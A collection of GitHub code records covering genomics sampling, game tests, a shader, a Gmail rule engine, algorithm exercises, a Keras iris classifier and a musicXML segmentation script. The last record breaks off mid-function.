+{"seq_id":"17787161281","text":"import argparse\nimport os\nimport random\n\n# 按ratio抽取snp位点\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-f', '--file', type=str, help=\"待处理的文件\")\nparser.add_argument('-r', '--ratio', type=float, help=\"抽取snp位点的概率,在0到1之间\")\nparser.add_argument('-o', '--out', type=str, help=\"输出文件所在路径\")\nargs = parser.parse_args()\n\nratio = args.ratio\nout = os.path.join(args.out, f\"density_{ratio}.vcf\")\n\nwith open(args.file) as vcf:\n with open(out, \"w+\") as o:\n o.write(vcf.readline())\n while True :\n line = vcf.readline()\n if line :\n if random.random() < ratio:\n o.write(line)\n else:\n break\n ","repo_name":"GODsRhand/GraduateProject","sub_path":"Raw_gzvcf_data_handler/density.py","file_name":"density.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74449330115","text":"import maze\nfrom maze import Maze\n# from mazetree import MazeTree, MazeTreeBranch\nimport play_dungeon\nfrom player import Player\nfrom fog import FogLayer\nfrom tile import Tile\nfrom tile import Wall\nimport random\nfrom copy import deepcopy\nfrom pygame import Rect, Color\n\n\ndef test_make_row():\n assert maze.make_row(5, 1, True) == [False, False, False, False, False]\n assert maze.make_row(3, 2, False) == [True, False, True]\n assert maze.make_row(5, 3, False) == [True, False, True, False, True]\n assert maze.make_row(5, 1, False) == [True, True, True, True, True]\n assert maze.make_row(15, 1, False) == [True for _ in range(15)]\n\n\ndef test_instantiate_tiles():\n m = Maze(size=3)\n bool_maze = [[True, True, True], [False, False, True], [True, True, True]]\n mz = m.instantiate_tiles()\n assert len(mz) == 5\n assert len(mz[0]) == 5\n wall, tile = Wall(), Tile()\n for i in range(len(mz)):\n assert mz[0][i] == wall\n assert mz[i][0] == wall\n assert mz[1][1] == tile\n assert mz[2][2] == wall\n\n\ndef test_move_is_legal():\n random.seed(1)\n mz = Maze(size=5)\n player = Player()\n assert player.x == 1\n assert player.y == 1\n player.next_x = 2\n assert mz.move_is_legal((player.next_x, player.next_y))\n player.update_pos()\n player.next_y = 2\n assert not mz.move_is_legal((player.next_x, player.next_y))\n\n\ndef test_join_rooms():\n random.seed(1)\n walls = maze.join_rooms([True, True, True], [False, False, False])\n assert walls == [True, False, False]\n\n\ndef test_get_adj_tiles():\n mz = [[True for _ in range(3)] for _ in range(3)]\n assert maze.get_adj_tiles(mz, 1, 1) == [(1, 0), (0, 1), (2, 1), (1, 2)]\n assert maze.get_adj_tiles(mz, 0, 0) == [(1, 0), (0, 1)]\n assert maze.get_adj_tiles(mz, 2, 2) == [(2, 1), (1, 2)]\n\n\ndef test_map_room():\n mz = [[True, False, True], [True, False, True], [True, False, True]]\n lst = []\n maze.map_room(mz, lst, 0, 0)\n assert sorted(lst) == [(0, 0), (0, 1), (0, 2)]\n lst = []\n maze.map_room(mz, lst, 2, 0)\n assert sorted(lst) == [(2, 0), (2, 1), (2, 2)]\n\n\ndef test_room_coordinates():\n mz = [[True, False, True], [True, False, True], [True, False, False]]\n room_list = maze.room_coordinates(mz)\n assert room_list == [[(2, 0), (2, 1)], [(0, 0), (0, 1), (0, 2)]]\n assert mz == [[True, False, True], [True, False, True], [True, False, False]]\n\n\ndef test_pop_bubble():\n mz = [[True, False, True], [False, False, True], [True, True, True]]\n maze.pop_bubble(mz, 0, 0)\n assert len(maze.room_coordinates(mz)) == 1\n\n\ndef test_finalise():\n mz = [[True, False, True], [False, False, True], [True, True, True]]\n maze.finalise(mz)\n assert len(maze.room_coordinates(mz)) == 1\n mz = [[False, True, False, False, False],\n [False, True, True, True, True],\n [True, True, False, True, False],\n [True, False, False, False, False],\n [True, False, True, True, True]]\n maze.finalise(mz)\n assert len(maze.room_coordinates(mz)) == 1\n assert mz[4][1] or mz[3][3]\n\n\ndef test_repair():\n mz = [[True, True, True, True, True],\n [True, False, False, False, False],\n [True, True, True, True, True],\n [True, False, True, False, False],\n [True, True, True, True, True]]\n mz = maze.repair(mz)\n assert not mz[3][0] or not mz[3][2]\n\n\ndef test_update_fog():\n mz = Maze(size=5)\n mz_rect = Rect(0, 0, mz.tile_px * 7, mz.tile_px * 7)\n fog = FogLayer(mz)\n # for row in fog.fog:\n # print(row)\n player = Player()\n fog.update_fog(player)\n # for row in fog.fog:\n # print(row)\n\n\ndef test_fog_rects():\n mz = Maze(size=5)\n mz_rect = Rect(0, 0, mz.tile_px * 7, mz.tile_px * 7)\n fog = FogLayer(mz)\n assert len(fog.fog) == 7\n assert len(fog.fog[0]) == 7\n assert mz.tile_px == fog.px\n rects = fog.fog_rects(mz_rect)\n assert len(rects) == 7\n assert len(rects[0]) == 7\n assert type(rects[0][0][0]) == Rect\n assert type(rects[0][0][1]) == Color\n assert rects[0][0][0] == Rect(0, 0, mz.tile_px, mz.tile_px)\n assert rects[0][0][1] == Color('black')\n assert rects[0][0][1].a == 255\n\n\ndef test_vector_helper():\n assert maze.vector_helper('n', 0, 0) == (0, -1)\n assert maze.vector_helper('e', 0, 0) == (1, 0)\n assert maze.vector_helper('w', 0, 0) == (-1, 0)\n assert maze.vector_helper('s', 0, 0) == (0, 1)\n\n\ndef test_dir_helper():\n loc1 = (0, 0)\n loc2 = (0, 1)\n assert maze.dir_helper(loc1, loc2) == 's'\n loc1 = (0, 1)\n loc2 = (0, 0)\n assert maze.dir_helper(loc1, loc2) == 'n'\n loc1 = (0, 0)\n loc2 = (1, 0)\n assert maze.dir_helper(loc1, loc2) == 'e'\n loc1 = (1, 0)\n loc2 = (0, 0)\n assert maze.dir_helper(loc1, loc2) == 'w'\n\n\n","repo_name":"BeeGodwin/easy-dungeon","sub_path":"test_dungeon.py","file_name":"test_dungeon.py","file_ext":"py","file_size_in_byte":4744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13883298725","text":"import taichi as ti\nimport taichi_glsl as ts\nimport time\n\nfrom utils import plot, pal, length, fract, smoothstep\n\nti.init(arch=ti.gpu)\nasp = 16 / 9\nh = 600\nw = int(asp * h)\nres = w, h\nresvec = ts.vec2(float(w), float(h))\n\npixels = ti.Vector.field(3, dtype=ti.f32, shape=res)\n\n\n@ti.kernel\ndef render(t: ti.f32):\n \"\"\"\n Base version of version of the Psychedelic Sakura shader from shadertoy,\n implemented in taichi and Python with additional GLSL functions\n :param t: ti.int32, time moment for shader rendering\n :return: None\n \"\"\"\n for frag_coord in ti.grouped(pixels):\n uv = frag_coord / resvec.xy\n col = ts.vec3(1.0)\n pos = ts.vec2(0.5) - uv\n pos.x *= resvec[0] / resvec[1]\n pos *= ti.cos(t) * 1.0 + 1.5\n \n r = length(pos) * 2.0\n a = ts.atan(pos.y, pos.x)\n \n f = ti.abs(ti.cos(a * 2.5 + t * 0.5)) * ti.sin(t * 2.0) * 0.698 + ti.cos(t) - 4.0\n d = f - r\n \n col = ((ts.vec3(smoothstep(fract(d), fract(d) - 0.200, 0.160))\n - ts.vec3(smoothstep(fract(d), fract(d) - 1.184, 0.160)))\n * pal(f,\n ts.vec3(0.725, 0.475, 0.440),\n ts.vec3(0.605, 0.587, 0.007),\n ts.vec3(1.0, 1.0, 1.0),\n ts.vec3(0.310, 0.410, 0.154)\n ))\n \n pct = plot(r * 0.272, fract(d * (ti.sin(t) * 0.45 + 0.5)))\n col += pct * pal(r,\n ts.vec3(0.750, 0.360, 0.352),\n ts.vec3(0.450, 0.372, 0.271),\n ts.vec3(0.540, 0.442, 0.264),\n ts.vec3(0.038, 0.350, 0.107))\n pixels[frag_coord] = col\n\n\n# GUI and main loop\n\ngui = ti.GUI(\"Taichi example shader\", res=res, fast_gui=True)\nstart = time.time()\n\nwhile gui.running:\n if gui.get_event(ti.GUI.PRESS):\n if gui.event.key == ti.GUI.ESCAPE:\n break\n t = time.time() - start\n render(t)\n gui.set_image(pixels)\n gui.show()\n\ngui.close()\n","repo_name":"rmnigm/py-cp3","sub_path":"shaders/sakura.py","file_name":"sakura.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"23606758391","text":"fin = open(\"C-small.in\")\r\nfout = open(\"output.txt\", \"w\")\r\nnum_cases = int(fin.readline())\r\n#print num_cases\r\n\r\nfor i in range(num_cases):\r\n\t[num_run, rc_size, num_ppl] = map(int, fin.readline().replace(\"\\n\",\"\").split(\" \"))\r\n\t#print num_run, rc_size, num_ppl\r\n\tppl_queue = map(int, fin.readline().replace(\"\\n\",\"\").split(\" \"))\r\n\t#print ppl_queue\r\n\teuro=0\r\n\tfor run in range(num_run):\r\n\t\tfilled_queue=0\r\n\t\tfor q_index in range(len(ppl_queue)):\r\n\t\t\tif filled_queue + ppl_queue[q_index] > rc_size:\r\n\t\t\t\tbreak\r\n\t\t\telse:\r\n\t\t\t\teuro = euro + ppl_queue[q_index]\r\n\t\t\t\tfilled_queue = filled_queue+ppl_queue[q_index]\r\n\t\t\t\tq_index = q_index+1\r\n\t\tppl_queue = ppl_queue[q_index:]+ppl_queue[:q_index]\r\n\t\t#print ppl_queue\r\n\t\r\n\tfout.write(\"Case #\"+str(i+1)+\": \"+str(euro)+\"\\n\")\r\n\r\nfin.close()\r\nfout.close()\r\n\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_55/880.py","file_name":"880.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12799613329","text":"import collections\n\nfrom framework.Matchers import *\nfrom framework.Actions import *\nfrom framework.Logger import Logger\nfrom framework.RuleHolder import RuleHolder\nfrom framework.RuleGroup import IfAnyRuleGroup, IfElseRuleGroup, SingleRuleGroup\nfrom framework import constants\n\ndef row_is_empty(row):\n for item in row:\n if item:\n return False\n return True\n\nclass RuleFactory(Logger):\n # sheet data is a list of lists\n # first list is the header which we'll use to create a named tuple\n # then for each row we'll create an instance of the desired RuleHolder\n def __init__(self, sheet_data=[], inboxes={}):\n super(RuleFactory, self).__init__(__class__)\n if len(sheet_data) < 2:\n raise Exception('Tried to construct RuleFactory with data that is only {} row.'.format(len(sheet_data)))\n RuleTuple = collections.namedtuple('RuleTuple', [x.split(' ')[0] for x in sheet_data[0]])\n header_size = len(sheet_data[0])\n last_group_index = -1\n # List of [(Group, user)..... so we can process in order of the rule groups\n raw_rule_group_tuples = []\n count = 1\n for rule_row in sheet_data[1:]:\n count += 1\n if row_is_empty(rule_row):\n continue\n log_msg = 'Created: '\n # Google will trim rows when there isn't data in some of the last fields,\n # so insert empty strings here to keep our named tuple happy\n rule_row.extend(['' for x in range(header_size - len(rule_row))])\n\n tup = RuleTuple(*rule_row)\n name = tup.name\n if not tup.group or not (float(tup.group) == last_group_index or last_group_index < float(tup.group)):\n raise Exception('Cannot specify a group index of {} when last group index was {}. tup: {}'.format(tup.group, last_group_index, tup))\n if not tup.email:\n raise Exception('Cannot create a rule without a user specified. tup: {}'.format(tup))\n matchers = []\n # create one or more matchers\n if tup.label_regex:\n matchers.append(LabelMatcher(tup.label_regex))\n log_msg += 'LabelMatcher, '\n if tup.subject_regex:\n matchers.append(SubjectMatcher(tup.subject_regex))\n log_msg += 'SubjectMatcher, '\n if tup.body_regex:\n matchers.append(BodyMatcher(tup.body_regex))\n log_msg += 'BodyMatcher, '\n if tup.expression_match:\n matchers.append(ExpressionMatcher(tup.expression_match))\n log_msg += 'ExpressionMatcher, '\n # framework level behavior to never to never match with a draft action when\n # the 'automation/force_skip' label is present. This is implemented so that\n # the framework doesn't delete or modify a draft that the user might be \n # actively working on in the web client.\n if tup.action in ['draft', 'prepend_draft', 'forward_attachment', 'attachment', 'remove_draft']:\n matchers.append(LabelMatcher(constants.force_skip_label, True))\n if not matchers:\n matchers.append(AllMatcher())\n log_msg += 'AllMatcher, '\n # create action\n supported_actions = ['draft', 'prepend_draft', 'label', 'unlabel', 'remove_draft', 'redirect/redirect_draft', 'redirect_label', 'empty/\\'\\'', 'forward_attachment', 'attachment', 'label_lookup', 'shell', 'send_draft']\n if tup.action == 'draft':\n action = DraftAction(tup.value, tup.destinations)\n log_msg += 'DraftAction'\n elif tup.action == 'prepend_draft':\n action = DraftAction(tup.value, tup.destinations, prepend=True)\n log_msg += 'DraftAction'\n elif tup.action == 'label':\n action = LabelAction(tup.value)\n log_msg += 'LabelAction'\n elif tup.action == 'unlabel':\n action = LabelAction(tup.value, unset=True)\n log_msg += 'UnlabelAction'\n elif tup.action == 'remove_draft':\n action = RemoveDraftAction()\n log_msg += 'RemoveDraftAction'\n elif tup.action == 'redirect_draft' or tup.action == 'redirect':\n if tup.dest_email not in inboxes:\n raise Exception('RuleFactory doesn\\'t have an inbox configured for dest_email: {}, no rule will be created'.format(tup.dest_email))\n inner_action = DraftAction(tup.value, tup.destinations)\n action = RedirectAction(inboxes[tup.dest_email], tup.finder, inner_action)\n log_msg += 'RedirectDraftAction'\n elif tup.action == 'redirect_label':\n if tup.dest_email not in inboxes:\n raise Exception('RuleFactory doesn\\'t have an inbox configured for dest_email: {}, no rule will be created'.format(tup.dest_email))\n inner_action = LabelAction(tup.value)\n action = RedirectAction(inboxes[tup.dest_email], tup.finder, inner_action)\n log_msg += 'RedirectLabelAction'\n elif tup.action == 'empty' or not tup.action:\n action = EmptyAction()\n log_msg += 'EmptyAction'\n # grabs attachment from email thread\n elif tup.action == 'forward_attachment':\n action = ForwardAttachmentAction(tup.destinations)\n log_msg += 'ForwardAttachmentAction'\n # Looks for files on computer\n elif tup.action == 'attachment':\n action = AttachmentAction(tup.value, tup.destinations)\n log_msg += 'AttachmentAction'\n elif tup.action == 'label_lookup':\n if tup.dest_email not in inboxes:\n raise Exception('RuleFactory doesn\\'t have an inbox configured for dest_email: {}, no rule will be created'.format(tup.dest_email))\n action = LabelLookupAction(inboxes[tup.dest_email], tup.finder, tup.value)\n log_msg += 'LabelLookupAction'\n elif tup.action == 'shell':\n action = ShellAction(tup.value)\n log_msg += 'ShellAction'\n elif tup.action == 'send_draft':\n action = SendDraftAction()\n else:\n print(tup)\n raise Exception('Supported actions are: {} No rule will be created for {}. tup: {}'.format(supported_actions, tup.action, tup))\n\n # Create the rule holder\n if len(matchers) == 1:\n rh = RuleHolder(action, matchers[0], name, count)\n else:\n rh = RuleHolder(action, ComboMatcher(matchers), name, count)\n\n # Add the (RuleHolder, type, rule_type) tuple # TODO\n if float(tup.group) == last_group_index:\n if tup.query:\n raise Exception('Can only specify a custom query in the first rule of a rule group.')\n raw_rule_group_tuples[-1][0].append([rh, tup.group_type, tup.rule_type])\n else: # group of one rule\n raw_rule_group_tuples.append([[(rh, tup.group_type, tup.rule_type)], tup.email, tup.query])\n last_group_index = float(tup.group)\n\n log_msg += ', Group #{}'.format(tup.group)\n\n self.li(log_msg)\n\n self.all_rule_groups = [[], [], []]\n self.__create_rule_groups(raw_rule_group_tuples, self.all_rule_groups)\n\n # target_lists [0] == normal, [1], preprocess, [2] post process\n def __create_rule_groups(self, tups, target_lists): \n for raw_rule_group, user, query in tups:\n index = 0\n if 'pre' in raw_rule_group[0][1].lower():\n index = 1\n self.ld('Creating pre process rule group')\n elif 'post' in raw_rule_group[0][1].lower():\n index = 2\n self.ld('Creating post process rule group')\n if not raw_rule_group:\n raise Exception('raw_rule_group of size 0')\n rule_type_name = raw_rule_group[0][1].lower().replace('pre', '').replace('post', '')\n if len(raw_rule_group) == 1:\n target_lists[index].append(SingleRuleGroup(raw_rule_group, query, user))\n # Default multi rule group is ifelse\n elif rule_type_name == '' \\\n or rule_type_name == 'ifelse': # REFACTOR these enums should live in one spot, we also reference then in RuleGroup.py\n target_lists[index].append(IfElseRuleGroup(raw_rule_group, query, user))\n elif rule_type_name == 'ifany':\n target_lists[index].append(IfAnyRuleGroup(raw_rule_group, query, user))\n else:\n self.le('Not processing rule group with type: {}'.format(raw_rule_group[0][1]))\n \n # list of [RuleGroup, ...\n def get_rule_groups(self):\n return self.all_rule_groups[0]\n\n def get_pre_process_rule_groups(self, user):\n return self.__get_pre_post(user, 1)\n def get_post_process_rule_groups(self, user):\n return self.__get_pre_post(user, 2)\n def __get_pre_post(self, user, index):\n ret = []\n for rule in self.all_rule_groups[index]:\n if rule.get_user() == user:\n ret.append(rule)\n return ret\n\n\n\n\n","repo_name":"tgaldes/projects","sub_path":"cfld/gmail/framework/RuleFactory.py","file_name":"RuleFactory.py","file_ext":"py","file_size_in_byte":9415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11962488017","text":"import sys\nsys.stdin = open('input.txt')\n\nwhile True:\n a,b,c = map(int,input().split())\n number = [a,b,c]\n number.sort()\n a , b , c = number[0], number[1], number[2]\n if a == 0 and b == 0 and c == 0:\n break\n elif a**2 + b**2 == c**2:\n print('right')\n else:\n print('wrong')","repo_name":"sw200662/Algorithm_my","sub_path":"2112/1208/4153.py","file_name":"4153.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41648391897","text":"\nimport numpy as np\nfrom sklearn.datasets import load_iris #회귀의 대표 모델은 보스턴이랑 당뇨병, 이중분류는 유방암, 다중분류는 아이리스임\n\n# x, y = load_iris(return_x_y=True) #이렇게 x랑 y로 데이터를 줘도 된다. *다시 해보기\n\ndataset = load_iris()\nx = dataset.data\ny = dataset.target\n# print(dataset.DESCR)\n# print(dataset.feature_names)\n# print(x.shape) #(150,4)\n # :Attribute Information:\n # - sepal length in cm\n # - sepal width in cm\n # - petal length in cm\n # - petal width in cm > 칼럼이 4개\n # - class:\n # - Iris-Setosa\n # - Iris-Versicolour\n # - Iris-Virginica > 결과y가 3개. 다중분류이다.\n\n# print(x[:5])\n# print(y) #0,1,2가 50개씩 순서대로 있기때문에 아래 데이터 분리에서 shuffle를 해주지 않으면 성능이 떨어질 수 밖에 없다.\n\nfrom sklearn.model_selection import train_test_split\nx_train, x_test, y_train, y_test = train_test_split(x, y, train_size=0.8, shuffle=True, random_state=66)\n\nfrom sklearn.model_selection import train_test_split\nx_train, x_val, y_train, y_val = train_test_split(x_train, y_train, test_size=0.2, shuffle=True, random_state=66)\n\nfrom sklearn.preprocessing import MinMaxScaler\nscaler = MinMaxScaler()\nscaler.fit(x_train)\nx_train = scaler.transform(x_train)\nx_val = scaler.transform(x_val)\nx_test = scaler.transform(x_test)\n\n#원핫인코딩. y에 대한 전처리를 해주자. 이 데이터는 3개의 결과로 나와야 한다. 0: 1,0,0 / 1: 0,1,0 / 2: 0,0,1\nfrom tensorflow.keras.utils import to_categorical #이게 텐서플로우 2.0의 방법이다.\n# from keras.utils.np_utils import to_categorical #이게텐서플로우 1.0방식. 이것도 가능하긴 하다.\n\ny = to_categorical(y)\ny_train = to_categorical(y_train)\ny_val = to_categorical(y_val)\ny_test = to_categorical(y_test) #트레인테스트스플릿 하기 전에 원핫인코딩을 해도 된다. 해보자\n# print(y_train) #[1. 0. 0.] : 0 / [0. 1. 0.] : 1 / [0. 0. 1.] : 2\n# print(y_train.shape) #(96,3)이 되었다.\n\nprint(x.shape) #(150,4)\nprint(y.shape) #(150,3)\n\nfrom tensorflow.keras.models import Sequential, Model\nfrom tensorflow.keras.layers import Dense, Input\n\nmodel = Sequential()\nmodel.add(Dense(120, activation='relu', input_shape=(4,)))\nmodel.add(Dense(60))\nmodel.add(Dense(60))\nmodel.add(Dense(60))\nmodel.add(Dense(60))\nmodel.add(Dense(60))\nmodel.add(Dense(60))\nmodel.add(Dense(3, activation='softmax')) #다중분류는 softmax, 이진분류는 sigmoid / softmax로 나온 값은 모두 합치면 1이 된다. 이 중 가장 큰 값을 받은 애가 선택이 된다.\n#아웃풋레이어의 노드를 3개로 잡아야 한다. 분류의 개수가 3개니까\n#그러니 y를 원핫인코딩을 하여 3개로 나눠주여야 한다.\n\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['acc'])\n\nfrom tensorflow.keras.callbacks import EarlyStopping\nearlystopping = EarlyStopping(monitor='acc', patience=20, mode='max')\nmodel.fit(x_train, y_train, epochs=1000, batch_size=8, validation_data=(x_val, y_val), verbose=2, callbacks=earlystopping)\n\nloss = model.evaluate(x_test, y_test, batch_size=2)\nprint('loss: ', loss)\n\ny_predict = model.predict(x_test[-5:-1])\nprint('y_predict: ', y_predict)\n# [[7.5330843e-07 1.9251958e-05 9.9997997e-01]\n# [9.9999928e-01 6.8017545e-07 1.5129948e-25]\n# [8.4829569e-01 1.5170434e-01 4.8426992e-12]\n# [1.4563526e-04 3.5173717e-01 6.4811718e-01]]\n# y onehotencoding 해서 결과 달라지는 것 보기\n\nprint('y_test[-5:-1]: ', y_test[-5:-1])\n# [[0. 0. 1.]\n# [1. 0. 0.]\n# [1. 0. 0.]\n# [0. 0. 1.]]\n\n#'==========================='\n# loss: [0.12436151504516602, 0.9666666388511658, 0.04672175273299217]\n\n","repo_name":"YoungriKIM/STUDY","sub_path":"keras/keras22_1_iris1.py","file_name":"keras22_1_iris1.py","file_ext":"py","file_size_in_byte":3769,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"22004371123","text":"import sys\nsys.stdin = open(\"1220.txt\")\n\nfor tc in range(1, 11):\n input()\n table = [list(map(int, input().split())) for _ in range(100)]\n\n total = []\n\n for i in range(100):\n mag = []\n for j in range(100):\n if table[j][i] != 0:\n mag.append(table[j][i])\n\n count = 0\n for n in range(len(mag)):\n if n < len(mag)-1:\n if mag[n] == 1 and mag[n+1] == 2:\n count += 1\n total.append(count)\n\n my_total = 0\n for k in range(len(total)):\n my_total += total[k]\n\n print(\"#{} {}\".format(tc, my_total))\n\n","repo_name":"vreez/APS","sub_path":"1220.py","file_name":"1220.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24554698128","text":"from musicXML import *\nfrom spiral_method import *\nimport matplotlib.pyplot as plt\nimport time\nimport scipy.signal as signal\nimport os\n# from collections import defaultdict\nimport collections\nstructure_arr = list()\nrate = float\nshow_bound_r = int\nshow_bound_l = int\nby_mean = bool\n\ndef initialize():\n global structure_arr\n structure_arr = initialize_spiral_structure()\n\ndef find_tonality_by_bar(s):\n segments = []\n segments_symbol = []\n beat = 0\n bar = []\n piece = []\n counter2 = 0\n # for i in [p for p in s.flat.notes]:\n # counter2 += 1\n # # print(i,i.beat,beat,str(type(i)))\n # # print(clef.bestClef(s.flat.notes))\n # if isinstance(i,harmony.ChordSymbol):\n # continue\n # if i.beat >= beat:\n # bar.append(i)\n # elif beat > i.beat:\n # # segment\n # tempbar = bar\n # segment.append(append(tempbar))\n # # print(bar)\n # # analysis(bar)\n # bar.clear()\n # bar.append(i)\n #\n # # print(bar, \"yo\")\n # beat = i.beat\n previous_symbol = [\"\"]\n # print(\"get bar num:\",get_bar_num(s))\n for i in range(0,get_bar_num(s)):\n symbol,notes = get_note_in_bar(s,i)\n segments.append(notes)\n if len(symbol) == 0:\n symbol = [previous_symbol[-1]]\n else:\n previous_symbol = symbol\n segments_symbol.append(symbol)\n # print(\"\\n\\nhaha upper part\",measure.parts[0].pitches,\"\\n\\n lower part\",measure.parts[1].pitches,\"\\n\\nbar :\",i, \" segment:\",segment[i])\n\n\n\n # for i in structure_arr:\n # print(i['note'],i['major_spiral_array'].pitch)\n\n\n # print(len(segment))\n # for j in segment[2]:\n # print(j)\n counter = 0\n total_note = 0\n true_case = 0\n for index,i in enumerate(segments):\n if len(i) == 0:\n continue\n notes,duration = get_segment_info(i)\n # print(\"In segment \",index,\":\")\n # print(\"Chord marked:\",segments_symbol[index])\n flag = run_find_tonal_center(notes,duration,segments_symbol[index])\n if flag:\n true_case += 1\n notes = []\n duration = []\n counter += 1\n # if counter > 18:\n # break\n\n # analysis(i)\n total_note += len(i)\n\n print(\"total note is:\",total_note)\n print(\"total bar:\",counter)\n print(\"bar with right prediction of segmentation\",true_case)\n print(\"average correct %:\",float(true_case)/counter)\n print(\"\")\n return\n\ndef get_segment_info(value):\n notes = []\n pitch = []\n duration = []\n for j in value:\n # print(j.duration)\n if isinstance(j, note.Rest):\n continue\n if isinstance(j, harmony.ChordSymbol):\n continue\n if isinstance(j, harmony.NoChord):\n continue\n temp = float()\n for l in list(j.duration.components):\n temp = l[2]\n for k in list(j.pitches):\n # print(str(k)[:-1])\n notes.append(str(k)[:-1])\n pitch.append(str(k)[-1])\n duration.append(temp)\n # print(notes)\n # print(duration)\n # duration.append()\n return notes,duration\n\ndef get_note_in_bar(s,i):\n measure = s.measure(i)\n notes = []\n symbol = []\n if len(measure.parts[0].pitches) == 0:\n return symbol,notes\n # print(\"haha , bar \", i, \" \", list(measure.parts[0].flat.notes), list(measure.parts[1].flat.notes))\n for j in measure.parts[0].flat.notes:\n if isinstance(j, note.Rest):\n continue\n if isinstance(j, harmony.NoChord):\n continue\n if isinstance(j,harmony.ChordSymbol):\n symbol.append(j)\n continue\n notes.append(j)\n for k in measure.parts[1].flat.notes:\n if isinstance(k, note.Rest):\n continue\n if isinstance(k, harmony.NoChord):\n continue\n if isinstance(k,harmony.ChordSymbol):\n symbol.append(k)\n continue\n notes.append(k)\n return symbol,notes\n\ndef get_bar_num(s):\n count = 0\n have_exist_condition = 0\n while True:\n measure = s.measure(count)\n if len(measure.parts[0].pitches) == 0 and len(measure.parts[1].pitches) == 0 and have_exist_condition:\n break\n else:\n have_exist_condition = 1\n count += 1\n return count\n\n\n\ndef is_notes_equal(notes1,notes2):\n # print(\"called\",notes1,notes2)\n if len(notes1) != len(notes2):\n return False\n list_dict_notes1 = collections.defaultdict(list)\n list_dict_notes2 = collections.defaultdict(list)\n for note1 in notes1:\n list_dict_notes1[type(note1)].append(note1)\n for note2 in notes2:\n list_dict_notes2[type(note2)].append(note2)\n # print(\"a\")\n # print(\"\\n list1\",list_dict_notes1[note.Note],\"\\n list2:\",list_dict_notes2[note.Note])\n # print(\"here\")\n if sorted(list_dict_notes1[note.Note]) == sorted(list_dict_notes2[note.Note]):\n # print(\"b\")\n t = list(list_dict_notes1[chord.Chord])\n s = list(list_dict_notes2[chord.Chord])\n if len(t) == len(s) == 0:\n # print(\"c\")\n return True\n try:\n # print(\"d\")\n for elem in s:\n t.remove(elem)\n except ValueError:\n return False\n # print(\"e\")\n return True\n else:\n return False\n\n\n\n\ndef segment_analysis(s):\n slur_list = []\n dot_list = []\n unit_time = 1\n\n note_list = [p for p in s.flat.notesAndRests]\n # while True:\n # if type()\n print(\"haha\",len(note_list),get_bar_num(s))\n # note_list = note_list[:1000]\n if rate == 1/2:\n average_note_density = int(len(note_list) / get_bar_num(s))\n else:\n average_note_density = int(len(note_list)/get_bar_num(s))*rate\n\n # average_note_density =\n coe_diff = []\n beat = 0\n bar = []\n bar_count = 0\n buffer = 0\n bar_index = []\n index = []\n\n note_list_no_symbol = []\n bar_info_of_note = []\n\n is_sluring = False\n have_set_bar_index = True\n symbol,bar_note = get_note_in_bar(s,bar_count)\n # bar_note.sort()\n increment_bar_note_list = []\n increment_duration = 0\n increment_duration_list = []\n for counter,i in enumerate(note_list):\n increment_duration_list.append(increment_duration + i.beat)\n if isinstance(i,harmony.ChordSymbol):\n continue\n if isinstance(i, note.Rest):\n continue\n if isinstance(i, harmony.NoChord):\n continue\n if len(bar_note) == 0:\n bar_count += 1\n symbol,bar_note = get_note_in_bar(s,bar_count)\n\n # bar_note.sort()\n increment_bar_note_list.append(i)\n # increment_bar_note_list.sort()\n\n if is_notes_equal(bar_note,increment_bar_note_list):\n\n print(s.getTimeSignatures())\n print(s.timeSignature,s.measure(bar_count).duration.quarterLength,s.measure(bar_count).beatDuration,s.measure(bar_count).beat)\n increment_duration += s.measure(bar_count).duration.quarterLength\n print(\"\\n bar note num:\",bar_count,\"with note:\", bar_note, \"\\n increment:\", increment_bar_note_list)\n bar_count += 1\n increment_bar_note_list = []\n symbol,bar_note = get_note_in_bar(s,bar_count)\n\n\n\n for counter,i in enumerate(note_list):\n b = i.getSpannerSites()\n\n for thisSpanner in b:\n if 'Slur' in thisSpanner.classes:\n if thisSpanner.isFirst(i):\n print(i, thisSpanner, thisSpanner.beat, \"first\")\n is_sluring = True\n if thisSpanner.isLast(i):\n print(i, thisSpanner, thisSpanner.beat, \"end\")\n is_sluring = False\n if is_sluring:\n slur_list.append(1)\n else:\n slur_list.append(0)\n\n if i.articulations:\n dot_list.append(1)\n else:\n dot_list.append(0)\n # print(i,i.beat)\n unit_time += 1\n if isinstance(i,harmony.ChordSymbol):\n continue\n if isinstance(i, note.Rest):\n continue\n if isinstance(i, harmony.NoChord):\n continue\n # if len(bar_note) == 0:\n # bar_count += 1\n # bar_note = get_note_in_bar(s,bar_count)\n #\n # # bar_note.sort()\n # increment_bar_note_list.append(i)\n # # increment_bar_note_list.sort()\n #\n # if is_notes_equal(bar_note,increment_bar_note_list):\n #\n # print(s.getTimeSignatures())\n # print(s.timeSignature,s.measure(bar_count).duration.quarterLength,s.measure(bar_count).beatDuration,s.measure(bar_count).beat)\n # increment_duration += s.measure(bar_count).duration.quarterLength\n # print(\"\\n bar note num:\",bar_count,\"with note:\", bar_note, \"\\n increment:\", increment_bar_note_list)\n # bar_count += 1\n # increment_bar_note_list = []\n # bar_note = get_note_in_bar(s,bar_count)\n\n\n\n # if bar_note\n # if i.beat >= beat:\n # bar.append(i)\n # elif beat > i.beat:\n # # print(beat,i.beat)\n # bar_count += 1\n # bar_index.append(bar_count)\n # have_set_bar_index = False\n # print(\"Bar above:\",bar_count)\n # bar.clear()\n # bar.append(i)\n # if have_set_bar_index:\n # 